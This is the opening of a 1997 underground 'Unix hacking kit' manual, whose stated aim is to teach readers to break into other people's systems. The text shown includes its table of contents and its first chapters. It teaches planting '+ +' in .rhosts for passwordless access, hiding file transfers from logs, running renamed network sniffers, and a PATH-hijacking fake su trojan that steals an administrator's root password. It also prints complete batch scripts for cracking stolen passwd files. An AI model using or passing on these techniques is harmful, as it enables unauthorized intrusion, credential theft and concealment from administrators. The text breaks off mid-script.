|
THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!! AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED.... Unix Utils Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX Hacking Kit v1.0.c Jan/97 Hacking Kit v2.0.b March/97 (this is an update) By: Invisible Evil IRC: #unixhacking #virus #hackers #virii #hacking #hacker #hack is just to busy for me ;) NICK: i-e If you have any other exploits, bugs, sniffers or utils that are not in here please mail them to ii@dormroom.pyro.net. And I will be sure to keep you updated with the latest version of this toolkit. Comments are welcome. Sys admin's that want to keep their system clean are welcome to request the latest version. If you are looking for perfect grammar or spelling please put this file in your circular file. I put enough time into this and just put it through a cheap spell check. Whats new? Look for more info on tricks of the trade, and nfs mounting drives to gain access to shells. I am sure you will like the additions. I have added a login trojan, in.telnetd trojan, and some more scripts for scanning machines for mountable drives. Have pun! I will add a (*) to u p d a t e d s e c t i o n s. Contents: Disclaimer Preface Chapter I - Unix commands you need to know 1A. Basic commands Getting back to your home directory getting into a user home directory easy how to see what directory you are in now How to get a complete manual for each command 1B. Telnet Unix file permissions Unix groups How to change permissions and groups 1C. Rlogin .rhosts How to setup a .rhost file to login without a password 1D. FTP Logging in to the site, but never out of the site. Using prompt, hash, and, bin Using get, put, mget, and, mput 1E. GCC (unix compiler) How to get the file to the hack box without uploading it How to copy files to your home directory easy How to compile .c programs How to name them what you want How to load programs in the background while you log off Looking at your process with ps Chapter II - Getting started (your first account) 2A. Cracking password files How to get hundreds of accounts with your first hacked account Why you only really need one password cracked on a system How to get the root password from the admin, on an non-exploit system Using A fake su program Doc's for the fake su program How to find the admin's How to read .bash_history Cracker Jack - A good password cracker How to use crackerjack Word Files What you will need to get started Hashing the word files * Hash file for use with cracker jack and your word list * Hash file for use with cracker jack and your passwd file 2B. Talking to newbe's How to find the newbe's How to get the newbe's passwords 2C. The hard way Using finger @ What could the password be? Getting more info from finger a small .c file to use if you get on Writing a small perl script to do the work for you. How to get a domain list of all domains from rs.internic.net A perl script to rip the domains & put them in a sorted readable list How to execute the perl script * 2D. Using mount to gain access to unix systems * What is nfs mount * What you need to get started * How to check a system to see if you can mount their drives * A script to scan for systems that are nfs mountable * How to mount the system * How to unmount the system * A Live Demo * Mounting the drive * Viewing the user directories * Editing the local machine's passwd file * How to put a .rhosts file in one on thier users directories * How to rlogin to the users account Chapter III - Getting password files 3A. PHF What is phf Using lynx or netscape to access phf Finding the user id the victims httpd (www) is running under How to see if you are root using phf How to cat the password file using phf Backing up the victims password file Changing a users password using phf Restoring the old passwords A .c file that will let you pipe commands to phf from your shell How to use the phf shell file Another way to use phf - text by quantum Quantum's bindwarez file A perl script that will try EVERY domain on the internet and log root access and snatch passwd files for you all day in the background. Doc's for the pearl script above Getting accounts from /var/?/messages A script to get the passwords for you if you can access /var/?/messages 3B. Newbe's Lammer's 3C. Getting shadow passwd files What is a shadow passwd Getting the shadow file without root access A .c file to cat any file without root access 3D. Getting /etc/hosts Why get /etc/hosts Chapter IV - Getting the root account What to do if you can't get root on the system 4A. Bugs Intro 4B. Exploits The umount/mount exploit What are SUID perm's The umount .c file How to compile umount.c The lpr Linux exploit The lpr Linux .c exploit file The lpr BSD .c exploit file How to use lpr Watch the group owners with lpr Just use lpr for first root, then make a SUID shell How to make the SUID root shell for future root access (root root) The splitvt exploit The splitvt exploit .c program How to use the splitvt exploit program The sendmail 8.73 - 8.83 root exploit shell script How to use the sendmail exploit to get root access Chapter V - Making yourself invisible Keeping access 5A. Zap2 (for wtmp/lastlog/utmp) Fingering the host before login How to login and stay safe How to configure Zap2 Finding the log file locations The zap.c file 5B. Other scripts The wted wtmp editor Command line usage for wted How to chmod the wtmp.tmp file How to copy the wtmp.tmp to the wtmp file Setting the path for the wtmp file in wted The wted.c file Cleaning the lastlog file using lled Command line options for lled How to use lled How to chmod the lastlog.tmp file How to copy the lastlog.tmp file to lastlog Setting the path for the lastlog file in lled The lled.c file * A good perl script for editing wtmp, utmp, and, checking processes Chapter VI - Cleaning the log files 6A. A walk around in a hacked system - let's login Logging on the system Watching for admin's Nested directories Having your root file ready Becoming invisible Greping the log directory Cleaning the logs Lets sniff the network Editing your linsniffer.c Looking at the processes running Compiling and naming your sniffer program Starting a sniff session Changing group file access Making a suid root shell trojan for uid=0 gid=0 every time Naming your trojan Touching the files date Checking the sniffer log file Setting the history files to null * Using unset for the history files 6B. messages and the syslog How to find the logs are by reading /etc/syslog.conf How to see if there are logs in hidden directories How to see if logs are being mailed to user accounts How to see if logs are going to another machine * How to edit syslog.conf to hide logins * Restarting syslogd How to see if there is a secret su log by reading /etc/login.defs 6C. The xferlog How to edit the xferlog How to grep and edit the www logs How to look for ftp logs * Other ways to edit text logs * Using grep -v * A script to rip text lines from these logs * Restarting syslogd 6D. The crontabs How to find and read the root or admin's cron How to see if MD5 is setup on the machine What is MD5 Chapter VII - Keeping access to the machine 7A. Tricks of the trade When the system admin has found you out What to expect from the admin History files Nested directories Placing trojans Hidden directories Making new commands (trojans) Adding or changing passwd file entry's Setting some admin accounts with null passwords The best way to add an account Editing a null account so you can login Installing more games or exploitable programs How to know your admin's Reading system mail (with out updating pointers) What to look for in the mail directories A program to read mail without updating pointers 7B. Root kits and trojans What are root kits What are Demon kits What do trojans do ********************************************************* * Appendix I - Things to do after access * ********************************************************* The a-z checklist ********************************************************* * Appendix II - Hacking / Security WWW / ftp sites * ********************************************************* ********************************************************* * Appendix III - More exploits for root or other access * ********************************************************* A3-01. Vixie crontab buffer overflow for RedHat Linux A3-02. Root dip exploit A3-03. ldt - text by quantumg A3-04. suid perl - text by quantumg A3-05. Abuse Sendmail 8.6.9 A3-06. ttysurf - grab someone's tty A3-07. shadow.c - Get shadow passwd files A3-08. Abuse Root Exploit (linux game program) A3-09. Doom (game) root exploit - makes suid root shell A3-10. dosmenu suid root exploit A3-11. Doom root killmouse exploit A3-12. Root exploit for resize icons A3-13. Root console exploit for restorefont A3-14. Root rxvt X server exploit A3-15. Root wuftpd exploit A3-16. A shell script called gimme, used to read any system file ********************************************************* * Appendix IV - Other UNIX system utilities * ********************************************************* A4-01. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX A4-02. invisible.c Makes you invisible, and works on some SunOS without root A4-03. SySV Program that makes you invisible A4-04. UNIX Port scanner A4-05. Remove wtmp entries by tty number or username A4-06. SunOS wtmp editor A4-07. SunOS 4+ Zap your self from wtmp, utmp and lastlog ********************************************************* * Appendix V - Other Unix Exploits * ********************************************************* A5-01. HP-UX Root vhe_u_mnt exploit A5-02. IRIX Root mail exploit A5-03. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX A5-04. IRIX mail exploit to make you any user on the machine - BUT NOT root A5-05. BSD - crontab root exploit ********************************************************* * Appendix VI - UUENCODED FILES * ********************************************************* 1. Quantum's Bindwarez binary file for PHF 2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu, DemonTelnet 3. Linux Root Kit - Includes: Login, Netstat, and, PS 4. The Fake SU Program ********** Disclaimer ********** True this manual will aid hackers into breaking into systems but it is also provided to guide system admin's on different security problems and help with things to watch for on their system to keep hackers off. If you use this manual to gain access to any system where you do not belong, and do any type of damage, you alone will suffer for your stupid actions! I am not telling you to break into any system, I am just showing some of my experience, and things that I would do if I was to break into my own system. This is for information only..... ISP's Secure Your Systems! ******* Preface ******* Ok, lets get started. If you are going to hack, you must be doing this for a reason. All hackers have their reasons for doing what they do. Most are just hungry to learn. Most of what I have learned about unix, i have learned on some service providers or someone else's machine. I am one for the 'hands on' experience. There is much to learn and you would have to read 20,000 books just to get what you would learn out of a few config files, a few admin email messages, some .bash_history files, and some poking around a few systems. Here in this manual you should learn how to be the 'complete hacker' and come up with a style of your own. It will not take to long, but it will take some practice and experience before you will be able to call yourself a hacker. Not just anyone that can crack a password file, and log into a unix machine can call themselves a hacker. Ok, you can get root access to a box! You still are not a hacker! You need to know why you are a hacker first, and then have your 'code' and 'style'. You need a purpose and a reason for hacking into any box. The true hacker knows why he is doing what he does, and is doing it for reasons like knowledge, free information, and ACCESS. The true hacker will turn one hack into access to many different systems and providers and keep this access for future learning and more FREE information. The wan-a-be hacker will not be invisible, and will do many stupid things like: delete or corrupt data, down the machine, run bots or irc clients from root accounts or machines Give the passwords he cracked to everyone in the world to prove they can hack. Or they might just do stupid things that will get themselves cought. I think sometimes this is done purposely just to draw attention to themselves so they can get cought and make the announcement that they are a hacker, and they were here! A real hacker needs no such glory, he just needs the access and wants to keep it and be invisible! He will not tell many friends about the system, he will not give out the passwords or accounts, he will keep others off so he can continue his access there and keep it clean. Here in this manual i hope that i can add enough style so that you can have real heart in this matter and and be a good clean hacker. Happy hacking ... -------------------------------- Chapter I Unix commands you need to know. -------------------------------- There are just a few basic commands you need to learn, and then some unix programs that will aid you in logging in logging into or keeping access to the machine. Call your local internet service provider and ask them to sell you a shell account so that you will have something to practice on to learn these basic commands. The average shell account might cost you $10.00 per month if you don't already get one with your existing account. -------------- Section 1A Basic commands -------------- I hope you have a basic knowledge of DOS, that would help a bit, and I will assume that you already do in writing this manual. DOS Commands you are used to first: REMEMBER: unix is case sensitive, so if I here use lower case you must also, if I use a space you must also. DOS will let you get away with allot of things but unix will not! DIR/W = ls DIR = ls -l DIR/AH = ls -al AH=(hidden) -al=(include hidden files as well as regular) RENAME = mv ATTRIB = chmod MD = mkdir RD = rmdir DEL = rm COPY = cp These are the basic commands, i suggest that you lookup the man pages on each one of these commands from your unix shell. You would do this by typing 'man command' without the ''. each one of these commands will have switches for them, like cp -R to copy files and directories. So you would type man cp to get all of the switches you can use with the copy command. cd {then press enter} will always take you to your home directory cp filename $HOME will copy the file to your home directory cd ~username will take you to that users home dir if you have access to be there pwd {press enter} will show you what directory you are in. ------------- Section 1B Telnet ------------- Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net. There are other programs you will learn about here like FTP, and rlogin that you can use as well but now we will use telnet. You can use telnet if you know the IP address or the host name you want to connect or login to. To use the command you would just use the telnet program to connect to the IP or host like this: Telnet netcom.com or telnet 206.146.43.56 Ok, now lets login: telnet machine.com trying ..... Connected to machine.com Linux 2.0.28 (machine.com) (ttyp0) machine login:username password:####### bash$ Your prompt might look different, but we will use this one. Notice above that it will tell you the O/S when you get the login prompt. You can use this if you get a large collection of passwd files. Even before going on to crack them sort them by O/S types by just telnet-ing to them to see what they are running. There are other ways, but lets keep this telnet topic going for a sec... telnet domain.name.com, after you see what they are running make a note of this and ctrl ] to break out of the connection. Put all of your linux passwd files into a pile to be cracked first. All we need is one account that works for the system, and we can be almost sure we will have root on that machine! There are way to many holes in linux to think we will not be able to own one of those machines, so lets get to work so we can start this wonderful world of hacking. ---------------------- Unix File Permissions ---------------------- bash$ bash$ cd /tmp bash$ ls -l total 783 -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens First notice that we used a / and not \ to change to the tmp directory! Unix uses the / as the root so it is backwards from DOS here. Notice we did ls -l for the long directory. If we did 'ls' we would have what you see below. bash$ ls 19067haa filter.14428 pop3a13598 pop3a13600 screens With what we see here can not tell much, so most of the time we will be using ls -al with the -al we will see the hidden files also, hidden files and directories will always start with a '.'. Now watch: bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000 drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens .pinetemp.000 is a hidden file, and .test is a hidden directory. -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 row 1 row2 row3 ---------------------------- Now here we need to learn about permissions, users, and groups. Row #1 is the file permissions Row #2 is who owns the file Row #3 is the group owner of the file File permissions are grouped together into three different groups. If the line starts with a d, it is a directory, if there is no d, it is a file. - --- --- --- | | | |--------> Other = anyone on the machine can access | | |------------> Group = certain groups can access | |----------------> User = only the owner can access |------------------> Directory Mark - rw- r-- r-- | | | |--------> Other can only read the file | | |------------> Group can only read the file | |----------------> User can read or write to the file |------------------> It is not a directory - rwx rwx r-x | | | |--------> Other can read and execute the file | | |------------> Group can read write and execute the file | |----------------> User can read write and execute the file |------------------> It is not a directory The owner is the user name in row #2 and the group owner is the name in row #3. In DOS the file has to have a .exe, .com, or .bat extension to execute, but in unix all you need is the --x in your group of user, other, group You can change these permissions if you own the file or have root access: --------------------------------------------------------------------------- chmod oug+r filename will make all three groups of permissions be able to read the file. chmod og-r filename would make the file readable only to the user that owns the file. (notice the - or + to set the file yes or no) chmod +x filename would make the file execute by all. chown username filename would make the file owned by another user. chgrp groupname filename would make the file owned by another group. --------------------------------------------------------------------------- Make sure to keep file perm's and groups the same or you will be sniffed out and booted from the system. Changing configs on the system might only break other functions, so keep your paws off or you are just asking to get cought. Only do what you are *SURE* of. Only use commands that you know, you might find yourself spending hours fixing just one typo like chown -R username /* could keep you busy for a year ;) Just be careful! We will get into this stuff more as we go into the needs for this. ------------------ Section 1C Rlogin ------------------ There is another command you might use and we will get into this elsewhere as we get into using rlogin to login to a system without a password. For now read the man pages on rlogin by using the man rlogin from your shell account. The basic command would be : rlogin -l username hostname connecting.... password: bash$ Rlogin requires the user to have a file in their home directory that tells what system they can receive the rlogin from. In this file .rhosts it would look like this: username hostname (or) hostname if you were to add to this file + + it would let any user from any host login without a password. The file would look like this: ----- cut here ------ + + _____ cut here ------ if they already had entry's you could add the + + under their host names, but remember now they would notice seeing they would now be able to rlogin without the password. You would be targeting people that did not already have a .rhosts file. --------------- Section 1D FTP --------------- Another way to login will be FTP. You can use a windows client, or just login from a shell. ftp ftp.domain.com This will allow you to download or upload files to the site you are hacking. Just make sure to edit the xferlog (see section 6d) to wipe your tracks on the system. Remember NEVER to ftp or telnet out of the hacked system, only log into it! If you are coming from your own system, or from another hacked account you might just be giving your login and password to the system admin or another hacker on their system. There could be a telnetd or ftpd trojan loaded on the system, or even a sniffer. Now you would have just gave someone your login id and password. And if this was the system admin, he might have the idea that revenge is sweet ;) Using ftp from the shell, I would suggest using a few commands: After you login, and have your prompt, type these commands pressing enter after each one. prompt hash bin prompt will allow you to type a command like (mget *) or (mput*) and transfer an entire directory without having it prompt you for each file yes or no. hash marks hash will put ############ on the screen so you can see the transfer is still moving and at what speed. bin will make sure you get the files in the right mode, and if transferring binary files, you will be sure they will uncompresses. The transfer commands are easy, get filename, or, put filename, or for many files you can use regular wild cards with mput or mget. -------------------- Section 1E GCC compiler -------------------- There will be a time when you will need to compile a .c file. It is best to compile on the machine you are working on. So upload or copy and past the files to the hacked box and compile them there. If you have problems with their compiler you can try to upload pre-compiled files. One way to get the file up to the victims machine would be to use copy and paste. Get a good tsr or windows shareware program to do this if you do not have any way to do it now. You can copy a script file from one window and paste it into an editor on the victims machine, and then compile the new file. Walaa... no upload log of the file. You can copy and paste from the victims machine as well so that there are no download logs of ascii files. To copy and paste you can just open an editor on the hacked box, and then copy from your other session, and paste your script into the editor and save the file. This way there will not be anything in the xferlog yet. You can do the same thing with the password file. If you do decide to download the password file using ftp, make sure to copy it to your home directory first under a different name. bash:/etc:> cp passwd $HOME/plog would copy the file called passwd from the /etc directory you were in, to your home directory in a file called plog instead of passwd. Admin's grep the xfer logs looking for who is downloading the passwd file. Another way to get file to or from the box without showing up in the logs would be to open an irc session on the victims machine, then from your other session where you are already a user on irc, send the files using dcc. The command to send the files would be /dcc send <nick> <filename> The command to get the file on the other side would be /dcc get <nick> <file> It would be nice if you had a bot loaded on the irc when you were hacking so that you could just send files to the bot and have it auto receive them. A 'bot' is a robot program that you can load in the background on your shell account that will receive files, keep channels open, etc... The GCC compiler is easy... gcc filename.c -o filenameyouwant If i was to compile a file called z2.c that would zap the log files i would type this: gcc z2.c -o zap This would give me a file that would exe, called zap If I just typed : gcc z2.c I would have a file named a.out, that was the executable file and would have to rename it to zap, or some name i would know by doing this: mv a.out zap Now I would have a file named zap that was executable instead of a.out. You will want to make sure you are not naming these files names that sys admin's will know. If you had a sniffer file called 'linuxsniffer.c' you don't want to keep the same name ;) call it something like: gcc linuxsniffer.c -o lsn Remember also sometimes you can execute these files names right in the directory by just typing the file name like for our 'lsn' (sniffer) above just by typing lsn. But sometimes this will not work unless you add a ./ to the command. So remember, sometimes you will need to type ./lsn or your file name. Also there will be a time you will want a program to run in the background even after you logoff. Like in the case of the sniffer above. In this case you might want to name your sniffer something that would not be so easy noticed. Use your own style here. BUT to make it stay in the background while you are off the system you need to run the command with a & after the command. lsn& If you were to just type lsn, your screen would pause, and you would not be able to type while the program was sniffing, but if you typed lsn& it would load and the system prompt would come right back to you. Also the system would let you know it was loaded by giving you the process id # that it was loaded as. You could view the process with the ps -x command, you might want to run ps -auxe |more a= all u= show user x= yours e= env some machines f=tree or command: pstree ------------------------------------ Chapter II Getting started (your first account) ------------------------------------ There are many ways to get a starter account. I will go into each area to help you get started. All you need is one good account to spawn off to hundreds of accounts. Think of this; You get one good exploitable system, most any linux machine ;) Now you get root access and load a sniffer program. The TCP sniffer will search out any login process on the network and log the login and password for any telnet, ftp, or dial-in session going out or coming into the system. Now even if it is a small ethernet connection you have around 100 passwords for a few machines or domains. If a larger net provider you have hundreds of accounts all over the world! All you need for this is one good account and password to an exploitable system. If it seems you can not exploit root on the system, this might be a good system to crack passwords on and exchange the accounts for other accounts from hackers or irc users that are looking to load a bot but do nt have the shell account or disk space to do it. NEVER give out even one password to a system you exploited root on. Keep these systems to yourself! Lets now get into ways to get your first accounts. ------------------------ Section 2A. Cracking passwd files ------------------------ If you are hacking with the right frame of mind, you will run the crack program until you get one good account that will let you into the system. You will login and see if you can exploit root on the system, if so, get root, get the files you need to use into your nested directory, and erase your presence, and clean all of the logs. Now you are ready to load your sniffer. Why go on hacking passwords for a system that within 24 hours you will have most of the passwords anyway? Not only for the machine you just hacked, but other machines that were connected to as well. If the system is not exploitable don't even waste your time on it, go on to the next. At a latter date if you want to crack passwords for accounts to trade go ahead. If you get an admin's account cracked you might want to read his history files, and see if he is using the su command to access root allot. If he is you can use an su trojan on him. This will get you the root password. This works like this: You change his shell script so that a hidden directory (.term) is good, is set in the search path before all other directories. You put a fake su binary in the .term (or other) directory. He types su, everything looks good to him, he types in the root password when prompted, the password id copied to a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a password error telling him to try again. He thinks he must have done something wrong and runs su again, but this time the real one and logs in. You will find this fake su program in the last appendix named uuencoded files. Here are the docs: Fake SU by Nfin8 - i-e IRC: /msg i-e Easy as 1,2,3 ... 1. Change the path in one of the user accounts that you have access to that you see is using SU from reading their history files, to hit a path first that you have placed the su trojan file into. .term or .elm is good! 2. Make sure to edit the top of the su.c file to the path you will be using so that the sutrojan will delete isself and let the real SU work for the second try. 3. Put all of the files in the target directory and compile the su.c file. gcc su.c -o su Then delete all of the files but the su. All done! .bash_profile might look like this: # .bash_profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environment and startup programs PATH=$PATH:$HOME/bin ENV=$HOME/.bashrc USERNAME="" export USERNAME ENV PATH You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin When the sys admin run's 'SU' it will run the SU-trojan in the .term directory first and report that the password he typed was wrong, the Trojan su program would have put a hidden file in the /tmp directory for you that contains the root password (or account passwd) typed. If it was an account rather then the root password it will let you know the account name. Then the trojan su program deletes itself so that the next try will get the real su program. You can find the admin's at the top section of the passwd file in the /etc directory. Just type : more passwd You can be sure that the first two real accounts made in the passwd file are admin's, also sometimes you can find others by where their directories are located in the password file. Like /staff/username. The history files are in each users account directory. You can read these to see what the last commands were that were typed by the user. Sometimes as much as the last 100+ commands. Look for the file .bash_history, or History, you can read these using more. command: more .bash_history, or most times to keep your typing you can type : more .b* (or) just type : more .b (and then hit the tab key on your keyboard). Ok so now you need a good password cracking program. You can see in the next chapter on how to get password files from systems that you do not have an account on, but it is catch 22, you need the password cracking program too. There are three things that you will need. 1. Password cracking program 2. Good word files 3. Password files The best password cracking program to start would be crackerjack. You can search the web and find this easy as 1,2,3. Download it and you are ready to go. If you are a bit more advanced you can download a cjack for unix and run it in a shell. But if you are just getting started get the DOS/OS/2 version. Also search for some good word files. The best word files are the names. You will find that most unsecured passwords out there are guy's girlfriends names, of girls boyfriends names ;) You will find word files like 'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords' hackersdict' and other like these to be the best. Load crackerjack like this: [D:\jack]jack Cracker Jack version 1.4 for OS/2 and DOS (386) Copyright (C) 1993, The Jackal, Denmark PWfile(s) : domain.com.passwd Wordfile : domain.com.passwd Like above run the password file as the wordfile first. This will get you all of the logon's first that used their login name as their password, also if they used any other info like their real name or company name it will hit right away and you will not have to wait for the program to search through a word file. If you want to hash the word file to get more out of it you can read the doc's for crackerjack. Hashing is where you can tell crackerjack to change the case of the wordfile or even add numbers or letters to the beginning or end of the words in the word file, like sandy1 or 1sandy. You will find that many users do this and think they are more secure. Here are hashing files for both the passwd file and your word list. After looking these over you will see how you can modify these or create new ones to suit your needs. ------------ start of dicthash.bat @echo off cls echo - THIS FILE FOR DOS MACHINES echo ---------------------------------------------------------------------- echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your dict and echo - password file. Then use this batch file using the following format: echo - echo - dicthash.bat dictfilename.ext passwordfilename.ext echo - echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well. echo - echo - dicthash will first load jack running the dict file against your echo - password file in both cases, then it will add numbers 0-9 both to echo - the begining and end of every dict word. This will take a while, echo - so go out for that week vacation! echo - echo - If you get tired you can 'ctrl c' to the next option or number. echo - echo - ii@dormroom.pyro.net echo - echo - Mail me some of your hits, let me know how this works for you ;) jpp -lower %1 | jack -stdin %2 jpp %1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2 ---------------- end of dicthash.bat ---------------- start of jackhash.bat @echo off cls echo - THIS FILE FOR DOS echo ---------------------------------------------------------------------- echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your password file. echo - Then use this batch file using the following format: echo - echo - jackhash.bat passwordfilename.ext echo - echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well. echo - echo - jackhash will first load jack running the passwd file against echo - itself in both upper and lower cases, then it will add numbers 0-9 echo - both to the begining and end of every dict word. This will take echo - a while, so go out for that week vacation! echo - echo - If you get tired you can 'ctrl c' to the next option or number. echo - echo - ii@dormroom.pyro.net echo - echo - Mail me some of your hits, let me know how this works for you ;) jpp -gecos:5 -lower %1 | jack -stdin %1 jpp -gecos:5 %1 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin 